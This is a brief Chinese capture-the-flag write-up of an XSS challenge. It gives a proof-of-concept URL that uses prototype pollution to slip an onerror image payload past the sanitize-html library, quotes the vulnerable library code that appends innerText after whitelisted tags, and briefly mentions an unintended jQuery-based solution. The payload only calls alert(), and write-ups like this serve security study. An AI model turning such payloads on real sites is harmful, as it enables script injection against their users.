XSS

点击此处获得更好的阅读体验


WriteUp来源

https://xz.aliyun.com/t/8581

题目考点

  • XSS

解题思路

预期解

poc:

1
http://47.108.162.43:3000/?data={"__proto__":{"innerText":"<img src="" onerror=alert`1`>//"},"text":"<h>"}

santinize-html第16879行,text与frame.innerText整合为result,作为return的结果

1
2
3
4
5
6
7
8
9
if (options.selfClosing.indexOf(name) !== -1) {
result += " />"
} else {
result += ">";
if (frame.innerText && !hasText && !options.textFilter) {
result += frame.innerText;
addedText = true
}
}

只要是任意白名单标签都可以在其后加入任意内容

非预期解

ddddhm 队伍师傅用jq的非预期

jquery在init的时候会自动进行一次paseHTML(即使没有调用任何方法)。jquery yyds